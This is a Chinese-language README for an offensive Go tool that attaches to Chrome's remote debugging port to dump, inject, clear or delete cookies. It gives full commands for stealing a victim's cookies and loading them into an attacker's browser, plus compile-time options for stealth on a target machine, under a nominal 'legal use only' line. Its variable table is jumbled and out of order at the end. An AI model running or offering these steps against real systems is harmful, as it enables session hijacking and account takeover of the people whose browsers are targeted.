利用 Chrome 的远程 DevTools 协议附加到 Chrome,并 窃取/注入/清除/删除 cookie。
深受 WhiteChocolateMacademiaNut 启发。
Cookie 以 JSON 对象形式导出,使用 Chrome 自带的 格式。 要加载的 cookie 也使用相同的格式。
仅供合法使用。
窃取受害者的 cookie:
git clone https://github.com/magisterquis/chromecookiestealer.git
cd chromecookiestealer
go build
pkill Chrome
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 --restore-last-session # 根据目标系统变化
./chromecookiestealer -dump ./cookies.json
注入到攻击者的本地浏览器:
# 如上所述,以调试端口启动 Chrome。
./chromecookiestealer -clear -inject ./cookies.json
用法:chromecookiestealer [选项]
使用远程 DevTools 协议(--remote-debugging-port)附加到 Chrome,
并按需按以下顺序执行:
- 导出 cookie
- 清除 cookie
- 注入 cookie
- 删除选定的 cookie
待删除 cookie 的参数应以 JSON 对象数组表示,包含以下字符串字段:
name - 要移除的 cookie 的名称。
url - 如果指定,则删除所有具有该名称且域名和路径与提供的 URL 匹配的 cookie。
domain - 如果指定,则仅删除具有完全匹配域名的 cookie。
path - 如果指定,则仅删除具有完全匹配路径的 cookie。
文件名也可以为“-”,表示标准输入/输出。
选项:
-chrome URL
Chrome 远程调试 URL(默认 "ws://127.0.0.1:9222")
-clear
清除浏览器 cookie
-delete 文件
包含要删除 cookie 参数的文件名
-dump 文件
将窃取的 cookie 导出到的文件名
-inject 文件
包含要注入 cookie 的文件名
-no-summary
退出时不打印摘要
-verbose
启用详细日志记录
通常只需执行 go build。 为了在目标机上获得更高的隐蔽性,可以在编译时
使用 -ldflags '-X main.Foo=bar' 设置以下变量。
| 变量 | 描述 |
|---|---|
| DumpFile | 导出 cookie 到的文件名。 隐含 |
上述选项均未设置默认值。
Chrome DevTools 协议是一个移动目标。 如果此程序停止工作,可能需要使用 更新的 chromedp 和 cdproto 库版本。 可以通过以下命令完成:
go get -u -v all
go mod tidy
go build
这可能会产生破坏其他所有内容的副作用。
¯\_(ツ)_/¯
-dump| InjectFile | 从中注入 cookie 的文件名。 隐含 -inject |
| DeleteFile | 包含要删除 cookie 参数的文件名。 隐含 -delete |
| DoClear | 如果设置为任意值,隐含 -clear |